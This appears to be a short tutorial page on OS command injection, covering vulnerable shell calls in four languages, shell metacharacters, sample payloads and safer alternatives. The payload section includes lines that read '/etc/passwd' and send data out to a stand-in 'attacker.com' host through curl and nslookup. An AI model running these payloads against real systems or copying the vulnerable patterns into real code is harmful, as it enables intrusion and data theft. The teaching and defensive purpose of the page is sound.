Command Injection (also called OS Command Injection or Shell Injection) is a vulnerability that allows attackers to execute arbitrary operating system commands on the server by injecting malicious input into system command calls.
When an application passes user input to a system shell without proper sanitization, attackers can break out of the intended command and execute their own commands using shell metacharacters.
# Python - vulnerable
os.system("ping " + user_input)
# PHP - vulnerable
system("nslookup " . $_GET['host']);
# Ruby - vulnerable
`ls #{params[:dir]}`
# Java - vulnerable
Runtime.getRuntime().exec("ping " + userInput);
; - Command separator (Unix)&& - Execute if previous succeeds|| - Execute if previous fails| - Pipe output to another command`command` - Command substitution$(command) - Command substitution\n - Newline (command separator)# Basic injection
; whoami
| cat /etc/passwd
&& id
# Blind injection (time-based)
; sleep 10
| ping -c 10 127.0.0.1
# Out-of-band data exfiltration
; curl http://attacker.com/$(whoami)
; nslookup $(cat /etc/passwd | base64).attacker.com
shlex.quote() (Python), escapeshellarg() (PHP)# Python - UNSAFE
os.system("ping " + host)
# Python - SAFE (subprocess with list)
subprocess.run(["ping", "-c", "1", host], capture_output=True)
# PHP - UNSAFE
system("nslookup " . $host);
# PHP - SAFE
$output = dns_get_record($host, DNS_A);